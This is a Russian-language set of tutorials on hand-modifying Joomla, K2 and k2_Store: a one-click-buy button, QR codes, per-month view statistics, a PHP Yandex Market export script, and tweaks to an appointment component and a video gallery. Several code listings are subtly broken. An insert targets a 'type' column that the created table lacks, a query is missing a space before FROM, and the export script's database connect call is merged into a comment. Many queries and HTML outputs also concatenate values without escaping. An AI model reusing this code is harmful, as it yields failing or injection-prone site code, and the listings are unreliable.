Иногда базового функционала не достаточно, и для улучшения продаж на сайте добавляют "Покупку за 1 клик" - это скрипт формы обратной связи, у покупателя просят ввести свои данные(почта, телефон) и скрипт отправляет администратору магазина информацию о желании клиента купить товар, далее менеджеры связываются и обсуждают варианты продажи и доставки.

Проблема в Joomla в том, что многие модули используют разные версии jquery и совместить новый функционал иногда не получается.

Для внедрения "покупки за 1 клик" можно использовать скрипт jbOneClick

Подключение скрипта:

1.Необходимо в <HEAD> прописать скрипт и CSS файл:

<script type="text/javascript" src="/buyme/js/jquery.jboneclick.js"></script>
<link rel="stylesheet" type="text/css" href="/buyme/css/jquery.jboneclick.css">

2.На каждой странице(на ваше усмотрение) необходимо выводить функцию обработки нажатия на кнопку,я добавил в самый конец страницы, перед закрывающим тегов </BODY>:

<script type="text/javascript">
jQuery(document).ready(function($){
$('.callme_order_btn').jbOneClick();
});
</script>

3.Добавляем кнопку рядом с кнопкой покупки k2_store, для этого необходимо открыть файл:

 com_k2store/mycart/addtocart.php

Добавляем в конце блока 

<div id='add_to_cart_<?php echo $item->product_id; ?>' class="k2store_add_to_cart">
<input type="hidden" id="k2store_product_id" name="product_id" value="<?php echo $item->product_id; ?>" />
<?php echo JHTML::_( 'form.token' ); ?>
<input type="hidden" name="return" value="<?php echo base64_encode( JUri::getInstance()->toString() ); ?>" />
<input value="<?php echo $cart_text; ?>" type="submit" class="k2store_cart_button btn btn-primary" />
<a id="callme_order_btn_<?php echo $item->id;?>" class="callme_order_btn" data-product="<?php echo $item->title.' URL: '.JURI::base().$item->alias; ?>">Купить в 1 клик</a>
</div>

4.Если необходимо вывести кнопку на другом материале, то вставляем текст из шага 3 в любом месте

Также возможно понадобиться скорректировать css стиль, например зеленая кнопка по размеру совпадает со стандартной кнопкой k2_store:

.callme_order_btn{ background: #34DB4E;
background-image: -webkit-linear-gradient(top, #3498db, #2980b9);
background-image: -moz-linear-gradient(top, #3498db, #2980b9);
background-image: -ms-linear-gradient(top, #3498db, #2980b9);
background-image: -o-linear-gradient(top, #3498db, #2980b9);
background-image: linear-gradient(to bottom, #6ADB34, #29B932);
-webkit-border-radius: 5;
-moz-border-radius: 5;
border-radius: 5px;
font-family: Arial;
color: #fff!important;
text-transform: uppercase;
font-size: 14px;
padding: 2px 7px 5px 8px;
text-decoration: none;
display: inline-block;
cursor: pointer;}

5.В k2_store нет автосуммы - после выбора платной опции на товаре не обновляется цена. Этот пункт и вывод выбранной опции можно исправить используя эту функцию:

<script>
function set_to_click(id,elem,elem_id,sel) {
var btns = document.getElementById('callme_order_btn_'+id);
//Отправляем выбранные значения
var bo = document.getElementById('data_product_'+id);
if (bo.innerHTML == '') {bo.innerHTML = btns.getAttribute("data-product")}
var bc = document.getElementById('data_product_price_'+id);
if (bc.innerHTML == '') {bc.innerHTML = document.getElementById('product_price_'+id).innerHTML}
//читаем стоимость опции
var op = document.getElementById('product_option['+elem_id+']').options[sel].text;
if (op.indexOf('(')<=1) {var op_cash = '0';}
else { var op_cash = op.substring(op.indexOf('(')+2, op.indexOf('.')).replace(',', '');}
//читаем стоимость товара
var tov = document.getElementById('data_product_price_'+id).innerHTML;
tov_cash=tov.replace(/\s{2,}/g, ' ');
tov_cash=tov_cash.substring(1, tov_cash.indexOf('.')).replace(',', '');
//суммируем и форматируем
new_tov=Number(op_cash)+Number(tov_cash);
new_tov=new_tov+'.00 руб.';
new_tov=new_tov.replace(/(\d)(?=(\d\d\d)+([^\d]|$))/g, '$1,');
//вывод
document.getElementById('product_price_'+id).innerHTML = new_tov;
btns.setAttribute("data-product",bo.innerHTML+' '+elem+' "'+op);
}
</script>

Для ее реализации необходимо скорректировать файл:

com_k2store/mycart/addtocart_options.php

Перед циклом опроса опций, необходимо добавить блоки, для запоминания базовой цены и значения атрибуту кнопки:

// no direct access
defined( '_JEXEC' ) or die( 'Restricted access' );
$options = $this->attributes;
$db = JFactory::getDbo();
?>
<?php if ($options) { ?>
<div class="options" style="margin-bottom: 15px;">
<div id="data_product_<?php echo $this->item->id;?>" style="display:none"></div>
<div id="data_product_price_<?php echo $this->item->id;?>" style="display:none"></div>
<?php foreach ($options as $option) { ?>

Далее всем необходимым элементам добавить вызов функции, мне понадобился только <select>:

<!-- select -->
<div id="option-<?php echo $option['product_option_id']; ?>" class="option">
<p><?php echo $option['option_name']; ?>:</p>
<?php if ($option['required']) { ?>
<span class="required">*</span>
<?php } ?>
<select id="product_option[<?php echo $option['product_option_id']; ?>]" name="product_option[<?php echo $option['product_option_id']; ?>]" onchange="set_to_click('<?php echo $this->item->id;?>','<?php echo $option['option_name']; ?>',<?php echo $option['product_option_id']; ?>,this.selectedIndex)">

Протестировано на сайтах с компонентами:

  • Joomla 3.4
  • K2 v 2.6.9
  • k2_Store v 1.8.3
  • Widgetkit v 1.5
  • Perfect AJAX Popup Contact v 3.2.8
  • Шаблон на основе фреймворка Warp 7.3.14

QR code и k2_store своими руками

Вы можете самостоятельно разместить QR код в любом месте, для этого можно воспользоваться сервисом http://www.bosqweb.net, в текст достаточно вставить этот тег:

<img style="float:right;height:120px;" src="http://www.bosqweb.net/qr/qr.php?url=URL&amp;BACK_COLOR=255,255,255&amp;BAR_COLOR=0,0,0" alt="QR Code">

Где URL - ссылка, которая будет добавлена в QR код.

Добавление QR кода в K2_Store - вам необходимо отредактировать файл:

public_html/templates/имя шаблона/html/com_k2store/mycart/addtocart.php

Добавить тег img, заменить:

<div id="k2store-product-<?php echo $item->product_id; ?>" class="k2store k2store-product-info">

На

<div id="k2store-product-<?php echo $item->product_id; ?>" class="k2store k2store-product-info">
<?php
$view= JRequest::getCmd('view');
$layout= JRequest::getCmd('layout');
$ids= JRequest::getInt('id');
if($view=='item' && $layout=='item' && $ids >0){
echo '<img style="float:right;height:120px;" src="http://www.bosqweb.net/qr/qr.php?url='.JURI::current().'&amp;BACK_COLOR=255,255,255&amp;BAR_COLOR=0,0,0" alt="QR Code">';
}
?>

 Данный код позволит выводить QR ссылку только в описании материала(товара), в списке материалов ссылки не будет.

Точный рейтинг материалов k2 (2.6.9)

Цель данной модификации - сделать точный рейтинг материалов, по месяцам,датам и даже времени.

Стандартная функция подсчета кликов ведет только кол-во кликов за все время, но в одном из проектов нам понадобилась статистика просмотров в разрезе месяца.

Что нам понадобится:

1.Создаем таблицу #__k2_hits:

CREATE TABLE `#__k2_hits` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`k2_id` varchar(100) COLLATE utf8_unicode_ci NOT NULL,
`insert_date` datetime COLLATE utf8_unicode_ci NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=12 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;

2.Добавляем функцию, которая сохранит данные просмотра. Редактируем файл:

/public_html/components/com_k2/models/item.php

Дорабатываем функцию hit:

function hit($id)
{$row = JTable::getInstance('K2Item', 'Table');
$row->hit($id);
$db = JFactory::getDBO();
$query = "insert into #__k2_hits(k2_id,insert_date,type) values(".$id.",'".date("Y-m-d H:i:s")."','items');";
$db->setQuery($query);
$db->query();
}

3.Добавляем функцию обнуления рейтинга:

/public_html/administrator/components/com_k2/models/item.php

Обновляем функцию resetHits на :

function resetHits()
{
$mainframe = JFactory::getApplication();
$id = JRequest::getInt('id');
$db = JFactory::getDBO();
$query = "UPDATE #__k2_items SET hits=0 WHERE id={$id}";
$db->setQuery($query);
$db->query();
$query = "delete from #__k2_hits where k2_id={$id};";
$db->setQuery($query);
$db->query();
if ($mainframe->isAdmin())
$url = 'index.php?option=com_k2&view=item&cid='.$id;
else
$url = 'index.php?option=com_k2&view=item&task=edit&cid='.$id.'&tmpl=component';
$mainframe->enqueueMessage(JText::_('K2_SUCCESSFULLY_RESET_ITEM_HITS'));
$mainframe->redirect($url);
}

4. Выводим статистику в административной части

 Самый простой способ - вывести построчно SQL запрос на одной из страниц:

$db = JFactory::getDbo();?>
<h1 id="stat_header">Самый популярный товар топ 20 </h1>
<table class="table table-striped" id="table_stat_long">
<tbody>
<tr id="table_header">
<td>Товар</td>
<td>Просмотры</td>
<td>% всего</td>
<td>Продаж</td>
</tr>
<?php
$db->setQuery('select k2h.k2_id,k2i.title,count(k2h.k2_id) as k2hits,count(k2h.k2_id)*100/((select count(*) from Yoo_k2_hits)) as total_proc,(select count(*) from #__k2store_orderitems where product_id=k2h.k2_id) as orders from #__k2_hits k2h,#__k2_items k2i where k2i.id=k2h.k2_id GROUP BY k2h.k2_id order by k2hits desc limit 20');
$res_item = $db->loadObjectList();
foreach ( $res_item as $row ) {
echo '<tr><td id="table_title">'.$row->title.'</td><td>'.$row->k2hits.'</td><td>'.$row->total_proc.'</td><td>'.$row->orders.'</td></tr>';
}?>
</tbody>
</table>

Дорабатываем K2 (2.6.9) и K2_store - выгрузка на яндекс маркет, формат YML

Для автоматизации выгрузки можно использовать PHP скрипт.

Нам необходимо подготовить таблицу - добавить 3 поля (yan_model,yan_vendor,yan_typePrefix) в таблицу #_k2_items, кроме того необходимо настроить редактирование из административной части k2, как это сделать написано в статье (на примере поля "relateditems"): Дорабатываем K2 (2.6.9) - управляемые рекомендации Related Items

От себя:

  • 1.Скрипт сделан на скорую руку, не претендует на окончательное решение, возможно будет выпущен плагин для joomla 3x
  • 2.Значение производителя, префикса и модели сделано через отдельную колонку, т.к. колонка с названием товара не подходит, реализация через extrafields слишком сложна(будет реализовано в плагине для joomla) для внешнего скрипта
  • 3.Категории магазина не совпадают с яндексом, также в магазине не храниться информация о производителе, поэтому эти данные вынесены в отдельные колонки - это позволяет более гибко работать с названием товара
  • 4.Скрипт опробован на действующем магазине, экспорт в яндекс маркет происходит без ошибок
  • 5.Реализована проверка на экспорт - если не заполнена одна из колонок (yan_model,yan_vendor,yan_typePrefix), товар не попадет в файл YML  и не будет выгружен на маркет
  • 6.Описание товара для маркета берется из поля "fulltext" таблицы #_k2_items, можно отключить переменной $show_desc
  • 7.Скрипт представлен не полностью, только демонстрационная часть

Скрипт:

<?php
/*Вывод ошибок - блок нужен для отладки*/
//ini_set('error_reporting', E_ALL);
//ini_set('display_errors', 1);
//ini_set('display_startup_errors', 1); //ссылка на файл конфигурации
include_once ("configuration.php");
$datas = new JConfig;
$hostname = $datas->host;
$username = $datas->user;
$password = $datas->password;
$dbName = $datas->db;
$mysite = $datas->sitename; // Ваш сайт
$filename = 'yandex.xml'; // размещение xml файла
$db_pref ='Jos_'; //префикс таблиц
$mag_name ='Название магазина'; //Название магазина
$comp_name ='Название фирмы'; //Название компании
$show_desc = 1;// [0-нет 1-да] выводить описание товаров
$loc_del = '150'; //стоимость доставки
$menu_url = 1;//[0-формат index.php?option=com_k2&view=item&layout=item&id= 1-alias из таблицы #_menu]способ формирование url

$category = $db_pref."k2_categories";//таблица категорий
$itemtable = $db_pref."k2_items"; //таблица товаров
$pricetable = $db_pref."k2store_products";//таблица с ценами
$product_menu_xref = $db_pref."menu";//ссылка на меню, используется для извлечения alias mysql_connect($hostname,$username,$password) OR DIE("Не могу соединиться базой данных Mysql");
mysql_select_db($dbName) or die(mysql_error());
$xmlfile = fopen($filename,'w+'); $xmltext = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n";
$xmltext .= "<!DOCTYPE yml_catalog SYSTEM \"shops.dtd\">\n";
$xmltext .= "<yml_catalog date=\"";
$xmltext .= date('Y-m-d H:i');
$xmltext .= "\">\n";
$xmltext .= "<shop>\n";
$xmltext .= "<name>$mag_name</name>\n";
$xmltext .= "<company>$comp_name</company>\n";
$xmltext .= "<url>http://$mysite</url>\n";
$xmltext .= "<currencies>\n";
$xmltext .= "<currency id=\"RUR\" rate=\"1\"/>\n";
$xmltext .= "</currencies>\n"; $xmltext .= "<categories>\n";
try{

mysql_query("SET CHARACTER SET 'cp_1251_general_ci'");
$query_cat = "SELECT * FROM $category where published = '1' ";
$res_cat = mysql_query($query_cat) or die(mysql_error());
$rw=1; while ($row_cat=mysql_fetch_array($res_cat)) {
$cat_parent_id=$row_cat['parent'];
$cat_child_id=$row_cat['id'];
//Строим дочернюю ветку
$query_cat_sub = "SELECT name FROM $category WHERE published = '1' and id=".$row_cat['id'];
$res_cat1 = mysql_query($query_cat_sub) or die(mysql_error());
$name_cat=mysql_fetch_array($res_cat1);
$cat_name=$name_cat['name'];
$cat_name= htmlspecialchars($cat_name, ENT_QUOTES); if ($cat_parent_id==0) {
$xmltext .= "<category id=\"".$cat_child_id."\">".$cat_name."</category>\n";
}
else {
$xmltext .= "<category id=\"".$cat_child_id."\" parentId=\"".$cat_parent_id."\">".$cat_name."</category>\n";
}
$rw++;

} }catch(PDOException $e){
echo ($e->getMessage());
}
$xmltext .= "</categories>\n";
$xmltext .= "<local_delivery_cost>$loc_del</local_delivery_cost>\n";
$xmltext .= "<offers>\n";
try{
//Таблица товаров
$query_item = "SELECT * FROM $itemtable where published = '1' and yan_typePrefix<>'' and yan_vendor<>'' and yan_model<>''";
$res_item = mysql_query($query_item) or die(mysql_error());
$rw=1;
while ($row=mysql_fetch_array($res_item)) {
$product_full_image = "http://$mysite/media/k2/items/cache/".md5("Image".$row['id'])."_XL.jpg";
$product_name = $row['title'];
$product_s_desc = $row['fulltext'];
$product_cat_id = $row['catid'];
$typePrefix = $row['yan_typePrefix'];
$vendor = $row['yan_vendor'];
$model = $row['yan_model'];
$model = htmlspecialchars($model, ENT_QUOTES);
$typePrefix= htmlspecialchars($typePrefix, ENT_QUOTES);
$vendor= htmlspecialchars($vendor, ENT_QUOTES);
$id = $row['id'];
//Вывод в файл
$xmltext .= "<offer id=\"".$id."\" type=\"vendor.model\" available=\"true\" bid=\"11\">\n";
$xmltext .= "<currencyId>RUR</currencyId>\n";
$xmltext .= "<categoryId type=\"Own\">$product_cat_id</categoryId>\n";
$xmltext .= "<picture>$product_full_image</picture>\n";
$xmltext .= "<delivery>$del_avalible</delivery>\n";
$xmltext .= "<local_delivery_cost>$loc_del</local_delivery_cost>\n";
$xmltext .= "<typePrefix>$typePrefix</typePrefix>\n";
$xmltext .= "<vendor>$vendor</vendor>\n";
$xmltext .= "<model>$model</model>\n";
if ($show_desc == '1'): $xmltext .= "<description>$product_s_desc</description>\n"; endif;
$xmltext .= "</offer>";
$rw++;
} }catch(PDOException $e){
echo ($e->getMessage());
}
$xmltext .= "</offers>\n";
$xmltext .= "</shop>\n";
$xmltext .= "</yml_catalog>\n";
if(fwrite($xmlfile, $xmltext)){
echo "<pre>File YML <a target='_blank' href='http://$mysite/$filename'>http://$mysite/$filename</a> success</pre>";

}
fclose($xmlfile); ?>

По данному вопросу, вы также можете почитать статью о нашем компоненте экспорт в яндекс маркет YML формат

Дорабатываем k2_Store - выделяем специальную цену

В данном компоненте есть прайс лист(Catalog-Products), но очень неудобно отслеживать скидку, т.к. поле спец цены никак не выделяется.

В данном примере мы сделаем оформление фона спец цены когда сумма больше 0.

Редактируем файл:

/public_html/administrator/components/com_k2store/views/products/tmpl/default.php

Меняем строку:

<input type="text" class="input-mini" name="product[<?php echo $product->id;?>][special_price]" value="<?php echo $product->special_price;?>" /> </td>

На эту строку:

<input <?php if ( $product->special_price<>'0.00000'): echo 'style="background-color: aquamarine;"'; endif;?> type="text" class="input-mini" name="product[<?php echo $product->id;?>][special_price]" value="<?php echo $product->special_price;?>" /> </td>

Результат:

Дорабатываем компонент записи на прием Appointment Book Manager 1.4.1 (jxtcappbook) - добавляем места

В данной статье расскажу, как реализовали запись в класс, через компонент Appointment Book Manager. 

Стандартная реализация позволяет зарегистрировать 1 человека в один отведенный час, после чего выводилась отметка, что данный час занят. Нам требовалось плавающие значение от 3 до 23 человек на один час.

Редактируем административную часть компонента

1.Необходимо добавить поле place_count int(11) в таблицу #_jxtc_appbook_calendars

2.Добавляем новую переменную - кол-во мест, файл

/administrator/components/com_jxtcappbook/tables/calendars.php

После строки:

var $article_id = 0;

Добавляем:

var $article_id = 0;
var $place_count = 0;

3.Редактируем файл формы:

/administrator/components/com_jxtcappbook/views/parent/tmpl/form.php

После кода:

// do field validation
var error = '';
if (form.title.value == "") {
error = error + "<?php echo JText::_('APPBOOK_ERRORCALENDARMUSTHAVEANAME', true); ?>\n";
}

Добавляем код:

// do field validation
var error = '';
if (form.title.value == "") {
error = error + "<?php echo JText::_('APPBOOK_ERRORCALENDARMUSTHAVEANAME', true); ?>\n";
}
var error = '';
if (form.place_count.value == ""){
error = error + "<?php echo 'Не правильно указано кол-во мест'; ?>\n";
}
var error = '';
if (form.place_count.value < 1 ){
error = error + "<?php echo 'Не правильно указано кол-во мест'; ?>\n";
}

 4.Добавляем поле "Кол-во мест", файл:

/administrator/components/com_jxtcappbook/views/parent/tmpl/form_tab1.php

Добавляем в конец файла код:

<div class="control-group">
<div class="control-label">
<span class="hasTip" title="Place Count::Count of place.">
<?php echo 'Кол-во мест'; ?>:
</span>
</div>
<div class="controls">
<input class="inputbox required" type="number" name="place_count" id="place_count" size="60" value="<?php echo $this->row->place_count; ?>" />
</div>
</div>

5.Добавляем заголовки, файл

/administrator/components/com_jxtcappbook/views/parents/tmpl/default.php

Меняем код:

<?php echo JHTML::_('grid.sort', 'Calendar Name', 'p.title', @$this->lists['order_Dir'], @$this->lists['order'] ); ?>

На:

<?php echo JHTML::_('grid.sort', 'Наименование курса', 'p.title', @$this->lists['order_Dir'], @$this->lists['order'] ); ?>
</th>
<th class="title">
<?php echo JHTML::_('grid.sort', 'Кол-во мест', 'p.title', @$this->lists['order_Dir'], @$this->lists['order'] ); ?>
</th>

Далее меняем код:

<td>
<span class="editlinktip hasTip" title="<?php echo JText::_('APPBOOK_EDITCALENDAR');?>::<?php echo $row->title; ?>">
<a href="/<?php echo $link ?>">
<?php echo $row->title; ?></a></span>
</td>

На это:

<td>
<span class="editlinktip hasTip" title="<?php echo JText::_('APPBOOK_EDITCALENDAR');?>::<?php echo $row->title; ?>">
<a href="/<?php echo $link ?>"><?php echo $row->title; ?></a></span>
</td>

<td>
<span class="editlinktip hasTip" title="<?php echo $row->place_count;?>">
<a href="/<?php echo $link ?>">
<?php echo $row->place_count;?>
</a></span>
</td>

Редактируем лицевую часть компонента

1.Дорабатываем заглушку

\components\com_jxtcappbook\templates\default\picker\default.php

Добавляем код после 101 строки,где есть строка:

$fullTimetable[] = $startKey;

Добавляем:

// вычисляем кол-во занятых мест
$query = 'SELECT *,dayofmonth(date) as day FROM #__jxtc_appbook_appointments WHERE published=1 AND parent_id=' . $this->calendar_id . ' AND year(date) = ' . $this->y . ' AND month(date) = ' . $this->m . ' and start="'.$startKey.'" ORDER BY date, start';
$db->setQuery($query);
$appointments = $db->loadObjectList();
$app_count = $db->getAffectedRows ();

Далее меняем блок "заглушку" на 106 строке:

if ($this->d < $this->today_d && $this->y <= $this->today_y && $this->m <= $this->today_m) {
$timetableHTML .= '<td class="' . $this->suf . 'timeSlot timeBusy">' . JText::_('NOTAVAILABLE') . '</td>';
} elseif (isset($timetable[$this->d][$startKey])) {
$timetableHTML .= '<td class="' . $this->suf . 'timeSlot timeBusy">' . JText::_('OCCUPIED') . '</td>';
} elseif (!$isWorkDay) {
$timetableHTML .= '<td class="' . $this->suf . 'timeSlot timeBusy">' . JText::_('NOTAVAILABLE') . '</td>';
} else {
$timetableHTML .= '<td class="' . $this->suf . 'timeSlot timeFree" ><input type="radio" name="appointment" value="' . $startKey . '" onclick="changeTimes(\'' . $calendar->min_duration . '\',\'' . $startKey . '\',\'' . $endKey . '\')"/></td>';
}

Меняем на:

if ($this->d < $this->today_d && $this->y <= $this->today_y && $this->m <= $this->today_m) 
{
$timetableHTML .= '<td class="' . $this->suf . 'timeSlot timeBusy">' . JText::_('NOTAVAILABLE') . '</td>';
} elseif (isset($timetable[$this->d][$startKey]))
//закончилось кол-во мест
{
if ($app_count<$total_place_count)
{
$timetableHTML .= '<td class="' . $this->suf . 'timeSlot timeFree" ><input type="radio" name="appointment" value="' . $startKey . '" onclick="changeTimes(\'' . $calendar->min_duration . '\',\'' . $startKey . '\',\'' . $endKey . '\')"/><p>'.$app_count.'/'.$total_place_count.'</p></td>';
}
if ($app_count>=$total_place_count)
{
$timetableHTML .= '<td class="' . $this->suf . 'timeSlot timeBusy">' . JText::_('OCCUPIED') . '</td>';
}
}
//нет курсов
elseif (!$isWorkDay) {
$timetableHTML .= '<td class="' . $this->suf . 'timeSlot timeBusy">' . JText::_('NOTAVAILABLE') . '</td>';
} else {
$timetableHTML .= '<td class="' . $this->suf . 'timeSlot timeFree" ><input type="radio" name="appointment" value="' . $startKey . '" onclick="changeTimes(\'' . $calendar->min_duration . '\',\'' . $startKey . '\',\'' . $endKey . '\')"/><p>'.$app_count.'/'.$total_place_count.'</p></td>';
}

 2.Редактируем имя календаря, открываем файл:

components/com_jxtc_appbook_j30/site/templates/default/calendars/default.php

Меняем код:

echo '<div id="appbook">';
foreach ($this->rows as $row) {
switch ($this->config->formMode) {
case 's':
$bookingURL = '<a href="'.JRoute::_('index.php?option=com_jxtcappbook&view=book&pid='.$row->id).'" alt="'.JText::_(strip_tags($appointmentButton)).'">'.$appointmentButton.'</a>';
break;
case 'n':
$bookingURL = '<a target ="_blank" href="'.JRoute::_('index.php?option=com_jxtcappbook&view=book&pop=1&tmpl=component&pid='.$row->id).'" alt="'.JText::_(strip_tags($appointmentButton)).'">'.$appointmentButton.'</a>';
$URL = JRoute::_('index.php?option=com_jxtcappbook&view=book&pop=1&tmpl=component&pid='.$row->id);
$bookingURL = '<a href="/" onclick="MyWindow=window.open(\''.$URL.'\',\'_blank\',\'toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width='.$this->config->width.',height='.$this->config->height.',left=200,top=200\'); return false;" alt="'.JText::_(strip_tags($appointmentButton)).'">'.$appointmentButton.'</a>';
break;
case 'm':
$bookingURL = '<a class="modal" rel="{handler: \'iframe\', size: {x: '.$this->config->width.', y: '.$this->config->height.'}}" href="'.JRoute::_('index.php?option=com_jxtcappbook&view=book&pop=2&tmpl=component&pid='.$row->id).'" alt="'.JText::_(strip_tags($appointmentButton)).'">'.$appointmentButton.'</a>';
break;
}
// $bookingURL = '<a class="modal" href="/component/jxtcappbook/?tmpl=component&view=item&pid='.$row-&gt;id_'=" alt="'
// .JText::_(strip_tags($appointmentButton)).'" rel="{handler: \'iframe\', size: {x: 680, y: 750}}">'.$appointmentButton.'</a>';
$row->description = str_replace('{booking_form}',$bookingURL,$row->description);
echo '<div class="calendar">';
echo $row->description;
echo '</div>';
}

На это: 

$db = JFactory::getDBO();
echo '<div id="appbook">';
foreach ($this->rows as $row) {
$queryss= $db->getQuery(true);
$queryss ='SELECT title FROM #__jxtc_appbook_calendars WHERE id=' . $row->id;
$db->setQuery($queryss);
$calendarsss = $db->loadRow();
switch ($this->config->formMode) {
case 's':
$bookingURL = '<a href="'.JRoute::_('index.php?option=com_jxtcappbook&view=book&pid='.$row->id).'" alt="'.JText::_(strip_tags($appointmentButton)).'">'.$appointmentButton.' - '.$calendarsss[0].'</a>';
break;
case 'n':
$bookingURL = '<a target ="_blank" href="'.JRoute::_('index.php?option=com_jxtcappbook&view=book&pop=1&tmpl=component&pid='.$row->id).'" alt="'.JText::_(strip_tags($appointmentButton)).'">'.$appointmentButton.' - '.$calendarsss[0].'</a>';
$URL = JRoute::_('index.php?option=com_jxtcappbook&view=book&pop=1&tmpl=component&pid='.$row->id);
$bookingURL = '<a href="/" onclick="MyWindow=window.open(\''.$URL.'\',\'_blank\',\'toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width='.$this->config->width.',height='.$this->config->height.',left=200,top=200\'); return false;" alt="'.JText::_(strip_tags($appointmentButton)).'">'.$appointmentButton.' - '.$calendarsss[0].'</a>';
break;
case 'm':
$bookingURL = '<a class="modal" rel="{handler: \'iframe\', size: {x: '.$this->config->width.', y: '.$this->config->height.'}}" href="'.JRoute::_('index.php?option=com_jxtcappbook&view=book&pop=2&tmpl=component&pid='.$row->id).'" alt="'.JText::_(strip_tags($appointmentButton)).'">'.$appointmentButton.' - '.$calendarsss[0].'</a>';
break;
}
// $bookingURL = '<a class="modal" href="/component/jxtcappbook/?tmpl=component&view=item&pid='.$row-&gt;id_'=" alt="'
// .JText::_(strip_tags($appointmentButton)).'" rel="{handler: \'iframe\', size: {x: 680, y: 750}}">'.$appointmentButton.'</a>';
$row->description = str_replace('{booking_form}',$bookingURL,$row->description);
echo '<div class="calendar">';
echo $row->description;
echo '</div>';
}

 Итого

Если вы правильно все сделали, то в административной части, при редактировании календаря, можно указать кол-во свободных мест. В лицевой части появится "Места". как показано на изображении.

Дорабатываем K2 (2.6.9) - управляемые рекомендации Related Items

В одном из проектов потребовалось управлять рекомендациями, которые отображаются на странице товара. Стандартный механизм K2 - это вывод материал по похожим тегам - это очень не удобно. 

Выход прост - привязать иденты материалов для вывода рекомендаций.

Пролистав возможные решения (плагины, компоненты) для K2, стало понятно что нужно менять родной механизм, что мы делаем:

Дорабатываем таблицу и запрос выбора тегов

1.Добавляем поле "relateditems" в таблицу #__k2_items . Обязательно указать значение по умолчанию "0" ! Регистр букв важен, пишите все в нижнем, иначе компонент не сможет сопоставить поле.

2.Необходимо изменить файл с функцией выбора тегов "function getRelatedItems($itemID, $tags, $params)":

/components/com_k2/models/itemlist.php

В функции заменить:

$query = "SELECT DISTINCT itemID FROM #__k2_tags_xref WHERE tagID IN ({$sql}) AND itemID!={$itemID}";

На:

$query = "SELECT DISTINCT relateditemsFROM #__k2_items WHERE ID ={$itemID}";

 

Первый этап готов, достаточно в таблице #__k2_items в поле relatedItems перечислить иденты товаров и они появятся в списке рекомендаций.

В административной части реализуем механизм редактирования колонки relateditems

Редактируем список полей элемента в административной части, добавляем поле для ввода:

administrator\components\com_k2\views\item\tmpl\default.php

 Заменить код:

</tr>
<tr>
<td align="right" class="key">
<?php echo JText::_('K2_FINISH_PUBLISHING'); ?>
</td>
<td class="k2ItemFormDateField">
<?php echo $this->lists['publish_down']; ?>
</td>
</tr>

На (строка 847):

</tr>
<tr>
<td align="right" class="key">
<?php echo JText::_('K2_FINISH_PUBLISHING'); ?>
</td>
<td class="k2ItemFormDateField">
<?php echo $this->lists['publish_down']; ?>
</td>
</tr>
<tr>
<td align="right" class="key">
<?php echo 'Иденты похожих товаров' ?>
</td>
<td class="k2RelatedField">
<input class="text_area" type="text" name="relateditems" maxlength="250" value="<?php if ($this->row->relateditems == ''): echo '0'; else : echo $this->row->relateditems; endif; ?>" />
</td>
<tr>

Добавляем поле relatedItems в массив данных, редактируем файл:

\administrator\components\com_k2\models\items.php

Необходимо добавить поле в трех местах, где встречается строка:

$K2Item->created_by_alias = $item->created_by_alias;

Заменить на:

$K2Item->created_by_alias = $item->created_by_alias ;
$K2Item->relateditems = $item->relateditems;

Добавляем глобальную переменную:

\administrator\components\com_k2\tables\k2item.php

Заменить:

var $created_by_alias = null;

На

var $created_by_alias = null;
var $relateditems = null;

 

Иденты нужно будет вводить как в SQL запросе, через запятую. Следите за правильностью ввода данных, поле не должно быть пустым и содержать некорректные данные(например лишняя запятая), иначе на странице будет ошибка.

Список рекомендаций не появиться, если у товара нет тега. Достаточно добавить 1 тег. Если вы подробно ведете номенклатуру, этот момент вас не смутит, также можно самостоятельно исправить выборку, я не стал трогать этот момент.

Дорабатываем JoomlaMan Video Galleries

Нашел отличную видео галерею JoomlaMan Video Galleries, но вывод описания видео сделан не удобно, чтобы получить название необходимо навести мышку.

Будем исправлять:

1. Поднимем надпись, на 2 строки

2.Для мобильных телефонов, плавающий фон заменим на текст вверху элемента

 

Нам понадобится библиотека определения мобильных устройств Mobile-Detect

Необходимо скачать файлы библиотеки и разместить на вашем сайте, я разместил в папке '/public_html/md' , в примерах будет использован этот путь.

 Нам необходимо отредактировать css правила:

/components/com_jm_video_galleries/assets/css/jmvideogalleries.css

1.Меняем фон всплывающего окна,  я сделал серый градиент, прозрачное окно и черный текст.Также в этом правиле выставляется на сколько окно "вынернет" при формировании списка top:70%; :

.jmvideogalleries_videos_title{
position:absolute;
top:70%;
width:100%;
height:100%;
right:0;
background: url('../images/play-icon.png') no-repeat, -webkit-gradient(linear, center top, center bottom, from(#C1C1C1), to(#4F4F4F));
background:url('../images/play-icon.png') no-repeat, -webkit-linear-gradient( #C1C1C1, #4F4F4F);
background:url('../images/play-icon.png') no-repeat, -moz-linear-gradient( #C1C1C1, #4F4F4F);
background:url('../images/play-icon.png') no-repeat, -o-linear-gradient( #C1C1C1, #4F4F4F);
background:url('../images/play-icon.png') no-repeat, -ms-linear-gradient( #C1C1C1, #4F4F4F);
background: url('/../images/play-icon.png') no-repeat, linear-gradient( #C1C1C1, #4F4F4F);
background-position: center 71%;
-moz-transition: .3s;
-webkit-transition: .3s;
opacity: 0.9;
color:black;
}

Также редактируем расположение текста, поднимаем его к верху:

 .jmvideogalleries_title_desc
{bottom: 60%;
margin: 0 auto;
text-align: center;
width: 90%;
}

 

Редактируем файл вывода галереи:

/components/com_jm_video_galleries/views/videos/tmpl/default.php

Строку:

// no direct access
defined('_JEXEC') or die;

Заменить на(подключение библиотеки):

// no direct access
defined('_JEXEC') or die;
require_once 'md/Mobile_Detect.php';
$detect = new Mobile_Detect;

Добавляем заголовок для мобильного, после строки:

<div class="jmvideogalleries_videos_item <?php echo $category;?>">

Добавляем:

<?php if($detect->isMobile()): ?> 
<div style="height: 47px;margin-top: 35px;"><?php echo $this->title_length?substr($item->title, 0, $this->title_length):$item->title;?></div>
<?php endif; ?>

Также для мобильного убираем плавающий блок, заменяем:

 <div class="row-fluid span12 jmvideogalleries_videos_title">
<div class="jmvideogalleries_title_desc">
<div class="span12 jmvideogalleries_title jm_videogalleries_title<?php echo $item->id;?> name"><?php echo $this->title_length?substr($item->title, 0, $this->title_length):$item->title;?></div>
